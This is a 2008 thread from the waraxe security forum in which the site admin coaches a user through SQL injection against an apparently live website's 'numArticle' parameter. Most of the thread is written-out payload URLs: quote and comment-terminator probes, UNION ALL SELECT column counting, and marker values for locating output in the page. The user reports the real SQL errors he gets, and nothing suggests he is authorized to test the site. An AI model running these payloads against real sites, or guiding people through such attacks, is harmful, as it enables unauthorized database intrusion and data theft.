Waraxe IT Security Portal
Login or Register
February 23, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 109
Members: 0
Total: 109
Full disclosure
MitM attack against OpenSSH's VerifyHostKeyDNS-enabled client
Self Stored XSS - acp2sev7.2.2
Python's official documentation contains textbook example of insecure code (XSS)
Re: Netgear Router Administrative Web Interface Lacks Transport Encryption By Default
Monero 18.3.4 zero-day DoS vulnerability has been droppedpublicly on social network.
Netgear Router Administrative Web Interface Lacks Transport Encryption By Default
[CVE-2024-54756] GZDoom <= 4.13.1 Arbitrary Code Execution viaMalicious ZScript
Re: Text injection on https://www.google.com/so rry/index via ?q parameter (no XSS)
SEC Consult SA-20250211-0 :: Multiple vulnerabilities in Wattsense Bridge
APPLE-SA-02-10-2025-2 iPadOS 17.7.5
APPLE-SA-02-10-2025-1 iOS 18.3.1 and iPadOS 18.3.1
CVE-2024-55447: Access Control in Paxton Net2 software (update)
ChatGPT AI finds "security concern" (XSS) in DeepSeek's code
KL-001-2025-002: Checkmk NagVis Remote Code Execution
KL-001-2025-001: Checkmk NagVis Reflected Cross-site Scripting
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> What is the next step
Post new topicReply to topic View previous topic :: View next topic
What is the next step
PostPosted: Mon Mar 03, 2008 1:41 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Hi again (:

Code:
site.com/cms/afficher_commentaire.html?numArticle=285'


=> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''285''' at line 7

Code:
site.com/cms/afficher_commentaire.html?numArticle=285"


->show me a news with a lot of bug

Code:
site.com/cms/afficher_commentaire.html?numArticle=285'+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13--+

show me a buggy news too :s

I've test each 1,2,3... because on the news it doesnt show me the count of column, but no one was working with @@version.
Can it be help or it is no use to continue?
View user's profile Send private message
PostPosted: Mon Mar 03, 2008 2:16 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Try this tests:

Code:

site.com/cms/afficher_commentaire.html?numArticle=285'--+


Code:

site.com/cms/afficher_commentaire.html?numArticle=285--+


Do you see normal news text? Or is there errors?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 03, 2008 4:14 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




It displays news with some bug again for the both of them. Actually, it displays the start of the news(title and header), then what is following is mess up but no error.
View user's profile Send private message
PostPosted: Mon Mar 03, 2008 4:21 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




What you need is meaningful sql error messages.

Try:

Code:

site.com/cms/afficher_commentaire.html?numArticle=-1+UNION+ALL+SELECT+1--+


Code:

site.com/cms/afficher_commentaire.html?numArticle=-1'+UNION+ALL+SELECT+1--+


Code:

site.com/cms/afficher_commentaire.html?numArticle=-1)+UNION+ALL+SELECT+1--+


Sql errors? Post them here.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 03, 2008 6:18 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Code:
site.com/cms/afficher_commentaire.html?numArticle=-1+UNION+ALL+SELECT+1--+


Error handled by webmaster

Code:
site.com/cms/afficher_commentaire.html?numArticle=-1'+UNION+ALL+SELECT+1--+


Error : The used SELECT statements have a different number of columns


Code:
site.com/cms/afficher_commentaire.html?numArticle=-1)+UNION+ALL+SELECT+1--+


Error handled by webmaster
View user's profile Send private message
PostPosted: Mon Mar 03, 2008 6:50 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




So if you tried this:

Code:
site.com/cms/afficher_commentaire.html?numArticle=-1'+UNION+ALL+SELECT+1--+


then error was complaining about wrong column count?
Next try to find right column count:


Code:
site.com/cms/afficher_commentaire.html?numArticle=-1'+UNION+ALL+SELECT+1,2--+


Code:
site.com/cms/afficher_commentaire.html?numArticle=-1'+UNION+ALL+SELECT+1,2,3--+


Code:
site.com/cms/afficher_commentaire.html?numArticle=-1'+UNION+ALL+SELECT+1,2,3,4--+


and so on.
If column count is right, then error message will disapear or change.
Let me know about right column count.

P.S. Column count can be big number - even > 50 Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 03, 2008 7:17 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




i already did it, see at the first post ^^ The error stop to 13 but no information is given as i see
View user's profile Send private message
PostPosted: Mon Mar 03, 2008 8:16 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Look at html source code, try columns with more specic strings, like "UNION ALL SELECT 999901,999902,999903,...999913--+" and then look for "9999" in html source.

And if still there is no useable visual feedback, then you need to implement blind injection methods. It's more complicated and has bad performance.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Mar 03, 2008 9:41 pm Reply with quote
Nial
Advanced user
Advanced user
Joined: Feb 29, 2008
Posts: 103




Nothing in the source, it seems that i have to give up ^^
Your knowledge is really helpful anyway, thank you ^^
View user's profile Send private message
What is the next step
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.037 Seconds